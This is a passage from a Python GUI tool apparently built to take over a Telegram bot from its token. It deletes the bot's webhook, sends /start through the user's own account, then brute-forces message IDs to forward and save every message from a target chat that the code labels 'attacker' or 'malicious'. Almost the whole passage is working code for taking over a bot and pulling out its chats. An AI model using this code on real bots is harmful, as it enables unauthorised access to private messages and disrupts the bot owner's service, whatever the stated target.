raw_token[3:] 502 | return raw_token 503 | 504 | def get_me(self, bot_token): 505 | webhook_info = requests.get(f"{TELEGRAM_API_URL}{bot_token}/getWebhookInfo").json() 506 | if webhook_info.get("ok") and webhook_info["result"].get("url"): 507 | requests.get(f"{TELEGRAM_API_URL}{bot_token}/deleteWebhook") 508 | url = f"{TELEGRAM_API_URL}{bot_token}/getMe" 509 | try: 510 | r = requests.get(url) 511 | data = r.json() 512 | if data.get("ok"): 513 | return data["result"] 514 | else: 515 | self.log(f"[getMe] Error: {data}") 516 | return None 517 | except Exception as e: 518 | self.log(f"[getMe] Req error: {e}") 519 | return None 520 | 521 | async def telethon_send_start(self, bot_username): 522 | try: 523 | await client.start(phone_number) 524 | self.log("✅ [Telethon] Logged in with your account.") 525 | if not bot_username.startswith("@"): 526 | bot_username = "@" + bot_username 527 | await client.send_message(bot_username, "/start") 528 | self.log(f"✅ [Telethon] '/start' sent to {bot_username}.") 529 | await asyncio.sleep(2) 530 | except Exception as e: 531 | self.log(f"❌ [Telethon] Send error: {e}") 532 | 533 | def get_updates(self, bot_token): 534 | url = f"{TELEGRAM_API_URL}{bot_token}/getUpdates" 535 | try: 536 | r = requests.get(url) 537 | data = r.json() 538 | if data.get("ok") and data["result"]: 539 | last_update = data["result"][-1] 540 | msg = last_update["message"] 541 | my_chat_id = msg["chat"]["id"] 542 | last_message_id = msg["message_id"] 543 | self.log(f"[getUpdates] my_chat_id={my_chat_id}, last_msg_id={last_message_id}") 544 | return my_chat_id, last_message_id 545 | else: 546 | self.log(f"[getUpdates] no result: {data}") 547 | return None, None 548 | except Exception as e: 549 | self.log(f"[getUpdates] error: {e}") 550 | return None, None 551 | 552 | def get_message_content(self, bot_token, chat_id, message_id): 553 | url = f"{TELEGRAM_API_URL}{bot_token}/getChat" 554 | payload = { 555 | "chat_id": chat_id 556 | } 557 | try: 558 | r = requests.post(url, json=payload) 559 | chat_data = r.json() 560 | 561 | url = f"{TELEGRAM_API_URL}{bot_token}/forwardMessage" 562 | payload = { 563 | "chat_id": self.my_chat_id, 564 | "from_chat_id": chat_id, 565 | "message_id": message_id 566 | } 567 | r = requests.post(url, json=payload) 568 | data = r.json() 569 | 570 | if data.get("ok"): 571 | message = data["result"] 572 | content = { 573 | "message_id": message_id, 574 | "chat_id": chat_id, 575 | "date": message.get("date"), 576 | "text": message.get("text", ""), 577 | "caption": message.get("caption", ""), 578 | "file_id": None 579 | } 580 | 581 | media_types = ["photo", "document", "video", "audio", "voice", "sticker"] 582 | for media_type in media_types: 583 | if media_type in message: 584 | if isinstance(message[media_type], list): 585 | content["file_id"] = message[media_type][-1].get("file_id") 586 | else: 587 | content["file_id"] = message[media_type].get("file_id") 588 | break 589 | 590 | return content 591 | return None 592 | except Exception as e: 593 | self.log(f"❌ Get message content error ID {message_id}: {e}") 594 | return None 595 | 596 | def async_save_message_content(self, bot_token, chat_id, message_id): 597 | message_content = self.get_message_content(bot_token, chat_id, message_id) 598 | if message_content: 599 | success = self.save_message_to_file(chat_id, message_content) 600 | if success: 601 | self.log(f"📝 [Async] Saved message ID {message_id} to file.") 602 | else: 603 | self.log(f"⚠️ [Async] Failed to save message ID {message_id}.") 604 | else: 605 | self.log(f"⚠️ [Async] Failed to retrieve content for message ID {message_id}.") 606 | 607 | 608 | def forward_msg(self, bot_token, from_chat_id, to_chat_id, message_id): 609 | url = f"{TELEGRAM_API_URL}{bot_token}/forwardMessage" 610 | payload = { 611 | "from_chat_id": from_chat_id, 612 | "chat_id": to_chat_id, 613 | "message_id": message_id 614 | } 615 | try: 616 | r = self.session.post(url, json=payload) 617 | try: 618 | data = r.json() 619 | except Exception: 620 | data = {"raw": r.text} 621 | if r.status_code == 200 and data.get("ok"): 622 | self.log(f"✅ Forwarded message ID {message_id}.") 623 | threading.Thread( 624 | target=self.async_save_message_content, 625 | args=(bot_token, from_chat_id, message_id), 626 | daemon=True 627 | ).start() 628 | return True 629 | else: 630 | if r.status_code == 400: 631 | self.failed_400_ids.append(message_id) 632 | self.record_missing_message_id(from_chat_id, message_id) 633 | self.log(f"🚫 HTTP 400 (missing) message ID {message_id}. Data: {data}") 634 | else: 635 | self.log(f"⚠️ Forward fail (status {r.status_code}) ID {message_id}, reason: {data}") 636 | return False 637 | except Exception as e: 638 | self.log(f"❌ Forward error ID {message_id}: {e}") 639 | return False 640 | 641 | 642 | def infiltration_process(self, attacker_id): 643 | found_any = False 644 | if self.last_message_id is None: 645 | self.last_message_id = 0 646 | start_id = self.last_message_id 647 | stop_id = max(1, self.last_message_id - self.max_older_attempts) 648 | self.log(f"Trying older IDs from {start_id} down to {stop_id}") 649 | for test_id in range(start_id, stop_id - 1, -1): 650 | if self.stop_flag: 651 | self.log("⏹️ Infiltration older ID check stopped by user.") 652 | return 653 | success = self.forward_msg(self.bot_token, attacker_id, self.my_chat_id, test_id) 654 | if success: 655 | self.log(f"✅ First older message captured! ID={test_id}") 656 | found_any = True 657 | break 658 | else: 659 | self.log(f"Try next older ID {test_id-1}...") 660 | if found_any: 661 | self.log("Now you can forward all messages if needed.") 662 | else: 663 | self.log("No older ID worked within our limit. Possibly no older messages or limit insufficient.") 664 | 665 | def start_infiltration(self): 666 | raw_token = self.token_entry.get().strip() 667 | if not raw_token or "Example:" in raw_token: 668 | messagebox.showerror("Error", "Bot Token cannot be empty!") 669 | return 670 | parsed_token = self.parse_bot_token(raw_token) 671 | info = self.get_me(parsed_token) 672 | if not info: 673 | messagebox.showerror("Error", "getMe failed or not a valid bot token!") 674 | return 675 | bot_user = info.get("username", None) 676 | if not bot_user: 677 | messagebox.showerror("Error", "No username found in getMe result!") 678 | return 679 | self.log(f"[getMe] Bot validated: @{bot_user}") 680 | messagebox.showinfo("getMe", f"Bot validated: @{bot_user}") 681 | self.bot_token = parsed_token 682 | self.bot_username = bot_user 683 | loop = asyncio.get_event_loop() 684 | loop.run_until_complete(self.telethon_send_start(bot_user)) 685 | my_id, last_id = self.get_updates(parsed_token) 686 | if not my_id or not last_id: 687 | messagebox.showerror("Error", "getUpdates gave no valid results.") 688 | return 689 | self.my_chat_id = my_id 690 | self.last_message_id = last_id 691 | info_msg = ( 692 | f"Bot username: @{bot_user}\n" 693 | f"my_chat_id: {my_id}\n" 694 | f"last_message_id: {last_id}\n\n" 695 | "We will now try older IDs in a background thread..." 696 | ) 697 | self.log("[Infiltration] " + info_msg.replace("\n", " | ")) 698 | messagebox.showinfo("Infiltration Complete", info_msg) 699 | attacker_id = self.chatid_entry.get().strip() 700 | if not attacker_id or "Example:" in attacker_id: 701 | self.log("⚠️ No attacker chat ID provided. Skipping older ID check.") 702 | return 703 | self.stop_flag = False 704 | t = threading.Thread(target=self.infiltration_process, args=(attacker_id,)) 705 | t.start() 706 | 707 | def forward_all_messages(self): 708 | if not self.bot_token or not self.bot_username or not self.my_chat_id or not self.last_message_id: 709 | messagebox.showerror("Error", "You must do Infiltration Steps first!") 710 | return 711 | from_chat_id = self.chatid_entry.get().strip() 712 | if not from_chat_id or "Example:" in from_chat_id: 713 | messagebox.showerror("Error", "Malicious Chat ID is empty!") 714 | return 715 | self.stop_flag = False 716 | self.stopped_id = 0 717 | self.current_msg_id = 0 718 | self.resume_button.config(state="disabled") 719 | self.forward_continuation(from_chat_id, start_id=1) 720 | 721 | def forward_continuation(self, attacker_chat_id, start_id): 722 | def do_forward(): 723 | if self.last_message_id is None: 724 | self.last_message_id = 0 725 | max_id = self.last_message_id 726 | success_count = 0 727 | seen_ids = set() 728 | unseen_ranges = [] 729 | if self.skip_seen_messages: 730 | seen_ids = self.get_seen_message_ids(attacker_chat_id) 731 | unseen_ranges = self.compute_unseen_ranges(start_id, max_id, seen_ids) 732 | skipped_cnt = len([i for i in range(start_id, max_id + 1) if i in seen_ids]) 733 | if seen_ids: 734 | # Show up to 8 unseen ranges 735 | display_ranges = ", ".join( 736 | f"{a}-{b}" if a != b else str(a) for a, b in unseen_ranges[:8] 737 | ) 738 | if len(unseen_ranges) > 8: 739 | display_ranges += ", ..." 740 | self.root.after(0, lambda: self.log( 741 | f"🔁 Skipping {skipped_cnt} seen IDs. Unseen ranges: {display_ranges}")) 742 | if not unseen_ranges: 743 | unseen_ranges = [(start_id, max_id)] if start_id <= max_id else [] 744 | 745 | for a, b in unseen_ranges: 746 | for msg_id in range(a, b + 1): 747 | if self.stop_flag: 748 | self.stopped_id = msg_id 749 | self.root.after(0, lambda m=msg_id: self.log(f"⏹️ Stopped at ID {m} by user.")) 750 | break 751 | if msg_id in seen_ids: # safety 752 | continue 753 | ok = self.forward_msg(self.bot_token, attacker_chat_id, self.my_chat_id, msg_id) 754 | if ok: 755 | success_count += 1 756 | if self.stop_flag: 757 | break 758 | if not self.stop_flag: 759 | txt = f"Forwarded from ID {start_id}..{max_id}, total success: {success_count}" 760 | if self.failed_400_ids: 761 | preview = ", ".join(str(i) for i in self.failed_400_ids[:25]) 762 | if len(self.failed_400_ids) > 25: 763 | preview += ", ..." 764 | txt += f"\nMissing (HTTP 400) IDs: {len(self.failed_400_ids)} [{preview}]" 765 | self.root.after(0, lambda: [ 766 | self.log("[Result] " + txt.replace("\n", " | ")), 767 | messagebox.showinfo("Result", txt) 768 | ]) 769 | else: 770 | partial_txt = ( 771 | f"Stopped at ID {self.stopped_id}, total success: {success_count}.\n" 772 | "Resume if needed." 773 | ) 774 | if self.failed_400_ids: 775 | partial_txt += f"\nMissing (HTTP 400) IDs so far: {len(self.failed_400_ids)}" 776 | self.root.after(0, lambda: [ 777 | self.log("[Result] " + partial_txt.replace("\n", " | ")) 778 | ]) 779 | t = threading.Thread(target=do_forward) 780 | t.start() 781 | 782 | if __name__ == "__main__": 783 | root = tk.Tk() 784 | app = TelegramGUI(root) 785 | root.mainloop() 786 | --------------------------------------------------------------------------------